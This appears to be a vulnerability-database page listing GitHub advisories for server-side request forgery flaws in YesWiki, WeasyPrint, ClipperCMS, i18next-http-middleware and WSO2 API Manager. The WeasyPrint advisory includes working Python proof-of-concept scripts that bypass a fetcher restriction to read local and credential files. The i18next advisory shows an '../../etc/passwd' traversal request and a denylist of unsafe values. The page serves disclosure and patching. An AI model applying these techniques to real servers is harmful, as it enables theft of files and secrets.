CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-JF5X-83R6-59F3
Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31YesWiki before 4.6.7 contains an unauthenticated server-side request forgery vulnerability that allows remote attackers to make the server fetch arbitrary URLs by supplying a syndication action through the render handler's content parameter. Attackers can target internal hosts and ports, read back fetched feed content in the rendered page, and cause feed enclosures to be downloaded into the files directory.
{
"affected": [],
"aliases": [
"CVE-2026-104442"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T12:17:15Z",
"severity": "MODERATE"
},
"details": "YesWiki before 4.6.7 contains an unauthenticated server-side request forgery vulnerability that allows remote attackers to make the server fetch arbitrary URLs by supplying a syndication action through the render handler\u0027s content parameter. Attackers can target internal hosts and ports, read back fetched feed content in the rendered page, and cause feed enclosures to be downloaded into the files directory.",
"id": "GHSA-jf5x-83r6-59f3",
"modified": "2026-10-02T12:31:15Z",
"published": "2026-10-02T12:31:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwh5-j4f4-c6xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104442"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/yeswiki-before-4.6.7-unauthenticated-ssrf-via-syndication-action"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JF6Q-CHMF-3H3V
Vulnerability from github – Published: 2026-09-09 18:06 – Updated: 2026-09-09 18:06Summary
url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
xmp_metadata=[url]- the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path]- the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole@import/url()graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
...
if url_fetcher is None:
url_fetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet>inweasyprint/css/__init__.py<style>inweasyprint/css/__init__.py@importinweasyprint/css/__init__.py@font-face/local()inweasyprint/text/fonts.py@color-profile srcinweasyprint/css/__init__.py- images (
<img>, CSSurl(), SVG) inweasyprint/images.py
Two do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...])inweasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str])inweasyprint/document.py
xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:
if options['xmp_metadata']:
for url in options['xmp_metadata']:
result = select_source(url) # no url_fetcher
stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():
for css in options['stylesheets'] or []:
if not hasattr(css, 'matcher'):
css = CSS( # no url_fetcher=html.url_fetcher
guess=css, media_type=html.media_type,
font_config=font_config, counter_style=counter_style,
color_profiles=color_profiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True
(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True
# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True
3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True
4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True
An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> False
Suggested fix
Route both call sites through the document's url_fetcher, matching the five sites that already do this.
pdf/__init__.py-select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrictxmp_metadatato byte strings so no URL fetching occurs.)document.py-CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "70.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55073"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T18:06:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`url_fetcher` is WeasyPrint\u0027s documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document\u0027s `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n ...\n if url_fetcher is None:\n url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document\u0027s fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** \u2014 they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options[\u0027xmp_metadata\u0027]:\n for url in options[\u0027xmp_metadata\u0027]:\n result = select_source(url) # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options[\u0027stylesheets\u0027] or []:\n if not hasattr(css, \u0027matcher\u0027):\n css = CSS( # no url_fetcher=html.url_fetcher\n guess=css, media_type=html.media_type,\n font_config=font_config, counter_style=counter_style,\n color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object\u0027s fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secret.xmp\u0027)\nopen(path, \u0027wb\u0027).write(b\u0027CANARY_XMP_LEAK_7f3a9c\u0027)\npdf = HTML(string=\u0027\u003cp\u003ehi\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027secret file leaked into PDF:\u0027, b\u0027CANARY_XMP_LEAK_7f3a9c\u0027 in pdf)\n# -\u003e True\n```\n\n(`pdf_variant=\u0027pdf/a-3b\u0027` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027evil.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027@page { size: 1234px 5678px }\u0027)\n\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + path])\np = doc.pages[0]\nprint(\u0027evil.css applied via stylesheets=:\u0027, (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string=\u0027\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e\u0027 % path,\n url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint(\u0027control \u003clink\u003e correctly blocked:\u0027, (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, \u0027inner.css\u0027)\nouter = os.path.join(d, \u0027outer.css\u0027)\nopen(inner, \u0027w\u0027).write(\u0027@page { size: 333px 777px }\u0027)\nopen(outer, \u0027w\u0027).write(\u0027@import url(\"file://%s\");\u0027 % inner)\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + outer])\np = doc.pages[0]\nprint(\u0027nested @import applied transitively:\u0027, (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\ncreds = {\u0027db_name\u0027: \u0027CANARY_DB_NAME\u0027, \u0027db_password\u0027: \u0027CANARY_PASSWORD_a3f7e9c2\u0027,\n \u0027encryption_key\u0027: \u0027CANARY_ENC_KEY_b8d4f6a1\u0027, \u0027secret_key\u0027: \u0027CANARY_SECRET_KEY_c5e9d2b7\u0027}\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027site_config.json\u0027)\njson.dump(creds, open(path, \u0027w\u0027))\npdf = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027all credential fields leaked into PDF:\u0027, all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secrets.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }\u0027)\nhtml = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block())\ndoc = html.render(stylesheets=[\u0027file://\u0027 + path])\npdf = html.write_pdf(stylesheets=[\u0027file://\u0027 + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint(\u0027sheet applied (bypass):\u0027, (round(p.width), round(p.height)) == (999, 888)) # -\u003e True\nprint(\u0027comment leaked verbatim:\u0027, b\u0027CANARY_SECRET_e2a8c5d4\u0027 in pdf) # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document\u0027s `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent\u0027s fetcher.",
"id": "GHSA-jf6q-chmf-3h3v",
"modified": "2026-09-09T18:06:38Z",
"published": "2026-09-09T18:06:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/WeasyPrint"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "weasyprint Has Server-Side Request Forgery (SSRF)"
}
GHSA-JFFW-G7W7-WFVV
Vulnerability from github – Published: 2022-10-14 12:00 – Updated: 2022-10-14 19:00ClipperCMS 1.3.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the pkg_url parameter at /manager/index.php.
{
"affected": [],
"aliases": [
"CVE-2022-41497"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-13T21:15:00Z",
"severity": "CRITICAL"
},
"details": "ClipperCMS 1.3.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the pkg_url parameter at /manager/index.php.",
"id": "GHSA-jffw-g7w7-wfvv",
"modified": "2022-10-14T19:00:40Z",
"published": "2022-10-14T12:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41497"
},
{
"type": "WEB",
"url": "https://github.com/jayus0821/insight/blob/master/ClipperCMS%20SSRF.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JFGF-83C5-2C4M
Vulnerability from github – Published: 2026-04-29 22:26 – Updated: 2026-05-13 13:30Summary
Versions of i18next-http-middleware prior to 3.9.3 pass the user-controlled lng and ns values from getResourcesHandler directly into i18next.services.backendConnector.load(languages, namespaces, …) without any sanitisation. Depending on which backend is configured, the unvalidated path segments enable one of two attacks:
- Filesystem path traversal when the middleware is paired with
i18next-fs-backend(or any backend that interpolateslng/nsinto a filesystem path). - Server-Side Request Forgery (SSRF) when the middleware is paired with
i18next-http-backend(or any backend that interpolates into an HTTP URL).
Example request:
GET /locales/resources.json?lng=../../etc/passwd&ns=root
with i18next-fs-backend reads the attacker-chosen file from disk; with i18next-http-backend reshapes the outgoing URL to target an internal service.
Impact
- Arbitrary file read via
fs-style backends — any file the Node process can read becomes reachable (source, configuration,.sshkeys,.env, Docker secrets, etc.). - SSRF via
http-style backends — requests to internal IPs / hostnames not normally reachable from the internet; combined with cloud metadata endpoints this can escalate to credential theft. - Unbounded growth of
i18next.options.ns— a now-incidental amplification: the pre-patchgetResourcesHandlerpushed every uniquensvalue into the sharedi18next.options.nssingleton array without validation or bounds, enabling memory exhaustion from repeated unique payloads.
The severity is bounded by the backend in place, but the middleware itself exposed the unsanitised path; this is the "weakest link" layer.
Affected versions
< 3.9.3.
Patch
Fixed in 3.9.3. The patch introduces utils.isSafeIdentifier and applies it in getResourcesHandler before lng and ns reach the backend connector:
languages = languages.filter(utils.isSafeIdentifier)
namespaces = namespaces.filter(utils.isSafeIdentifier)
isSafeIdentifier uses a denylist approach — it still accepts any legitimate i18next language-code shape (i18next FAQ) — rejecting:
..sequences (relative path traversal)- path separators (
/,\) - control characters (C0/C1)
- prototype keys (
__proto__/constructor/prototype) - empty strings and values longer than 128 characters
Unsafe values are dropped; only safe values reach the backend. The fix is a defence-in-depth layer on top of any sanitisation the backend itself may apply.
Workarounds
No workaround short of upgrading. Front-proxying the middleware with a WAF rule that rejects requests containing .., /, \, or URL-structure characters in lng / ns is a partial mitigation. Upgrading the configured backend (i18next-fs-backend ≥ 2.6.4, i18next-http-backend ≥ 3.0.5) also closes the same attack at the next layer.
Related advisories fixed in the same release
- GHSA-5fgg-jcpf-8jjw — prototype pollution via
setPathandmissingKeyHandler. Independently fixable, filed separately per CNA rules. - GHSA-c3h8-g69v-pjrg — HTTP response splitting + XSS-filter bypass (CVE-2026-41683).
Credits
Discovered via an internal security audit of the i18next ecosystem.
Resources
- CWE-22: Path Traversal
- CWE-918: Server-Side Request Forgery (SSRF) (specific sub-case when paired with an HTTP backend)
- i18next FAQ: language code formatting
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "i18next-http-middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42353"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T22:26:36Z",
"nvd_published_at": "2026-05-08T16:16:12Z",
"severity": "HIGH"
},
"details": "### Summary\n\nVersions of `i18next-http-middleware` prior to 3.9.3 pass the user-controlled `lng` and `ns` values from `getResourcesHandler` directly into `i18next.services.backendConnector.load(languages, namespaces, \u2026)` without any sanitisation. Depending on which backend is configured, the unvalidated path segments enable one of two attacks:\n\n- **Filesystem path traversal** when the middleware is paired with `i18next-fs-backend` (or any backend that interpolates `lng` / `ns` into a filesystem path).\n- **Server-Side Request Forgery (SSRF)** when the middleware is paired with `i18next-http-backend` (or any backend that interpolates into an HTTP URL).\n\nExample request:\n\n```\nGET /locales/resources.json?lng=../../etc/passwd\u0026ns=root\n```\n\nwith `i18next-fs-backend` reads the attacker-chosen file from disk; with `i18next-http-backend` reshapes the outgoing URL to target an internal service.\n\n### Impact\n\n- **Arbitrary file read** via `fs`-style backends \u2014 any file the Node process can read becomes reachable (source, configuration, `.ssh` keys, `.env`, Docker secrets, etc.).\n- **SSRF** via `http`-style backends \u2014 requests to internal IPs / hostnames not normally reachable from the internet; combined with cloud metadata endpoints this can escalate to credential theft.\n- **Unbounded growth of `i18next.options.ns`** \u2014 a now-incidental amplification: the pre-patch `getResourcesHandler` pushed every unique `ns` value into the shared `i18next.options.ns` singleton array without validation or bounds, enabling memory exhaustion from repeated unique payloads.\n\nThe severity is bounded by the backend in place, but the middleware itself exposed the unsanitised path; this is the \"weakest link\" layer.\n\n### Affected versions\n\n`\u003c 3.9.3`.\n\n### Patch\n\nFixed in **3.9.3**. The patch introduces `utils.isSafeIdentifier` and applies it in `getResourcesHandler` before `lng` and `ns` reach the backend connector:\n\n```js\nlanguages = languages.filter(utils.isSafeIdentifier)\nnamespaces = namespaces.filter(utils.isSafeIdentifier)\n```\n\n`isSafeIdentifier` uses a denylist approach \u2014 it still accepts any legitimate i18next language-code shape ([i18next FAQ](https://www.i18next.com/how-to/faq#how-should-the-language-codes-be-formatted)) \u2014 rejecting:\n\n- `..` sequences (relative path traversal)\n- path separators (`/`, `\\`)\n- control characters (C0/C1)\n- prototype keys (`__proto__` / `constructor` / `prototype`)\n- empty strings and values longer than 128 characters\n\nUnsafe values are dropped; only safe values reach the backend. The fix is a defence-in-depth layer on top of any sanitisation the backend itself may apply.\n\n### Workarounds\n\nNo workaround short of upgrading. Front-proxying the middleware with a WAF rule that rejects requests containing `..`, `/`, `\\`, or URL-structure characters in `lng` / `ns` is a partial mitigation. Upgrading the configured backend (`i18next-fs-backend` \u2265 2.6.4, `i18next-http-backend` \u2265 3.0.5) also closes the same attack at the next layer.\n\n### Related advisories fixed in the same release\n\n- [GHSA-5fgg-jcpf-8jjw](https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-5fgg-jcpf-8jjw) \u2014 prototype pollution via `setPath` and `missingKeyHandler`. Independently fixable, filed separately per CNA rules.\n- [GHSA-c3h8-g69v-pjrg](https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-c3h8-g69v-pjrg) \u2014 HTTP response splitting + XSS-filter bypass (CVE-2026-41683).\n\n### Credits\n\nDiscovered via an internal security audit of the i18next ecosystem.\n\n### Resources\n\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html) (specific sub-case when paired with an HTTP backend)\n- [i18next FAQ: language code formatting](https://www.i18next.com/how-to/faq#how-should-the-language-codes-be-formatted)",
"id": "GHSA-jfgf-83c5-2c4m",
"modified": "2026-05-13T13:30:17Z",
"published": "2026-04-29T22:26:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-jfgf-83c5-2c4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42353"
},
{
"type": "PACKAGE",
"url": "https://github.com/i18next/i18next-http-middleware"
},
{
"type": "WEB",
"url": "https://www.i18next.com/how-to/faq#how-should-the-language-codes-be-formatted"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "i18next-http-middleware has path traversal / SSRF via user-controlled language and namespace parameters"
}
GHSA-JFGP-Q2HG-W285
Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2023-08-21 18:37WSO2 API Manager 3.0.0 does not properly restrict outbound network access from a Publisher node, opening up the possibility of SSRF to this node's entire intranet.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.wso2.am:am-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13226"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T00:30:32Z",
"nvd_published_at": "2020-05-20T12:15:00Z",
"severity": "CRITICAL"
},
"details": "WSO2 API Manager 3.0.0 does not properly restrict outbound network access from a Publisher node, opening up the possibility of SSRF to this node\u0027s entire intranet.",
"id": "GHSA-jfgp-q2hg-w285",
"modified": "2023-08-21T18:37:50Z",
"published": "2022-05-24T17:18:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13226"
},
{
"type": "WEB",
"url": "https://github.com/wso2/docs-apim/issues/816"
},
{
"type": "WEB",
"url": "https://github.com/wso2/product-apim/issues/7677"
},
{
"type": "WEB",
"url": "https://docs.wso2.com/display/Security/Security+Advisories"
},
{
"type": "WEB",
"url": "https://docs.wso2.com/display/Security/WSO2+Security+Vulnerability+Management+Process"
},
{
"type": "PACKAGE",
"url": "https://github.com/wso2/product-apim"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WSO2 API Manager vulnerable to SSRF"
}
GHSA-JFJ5-MXVH-9VGR
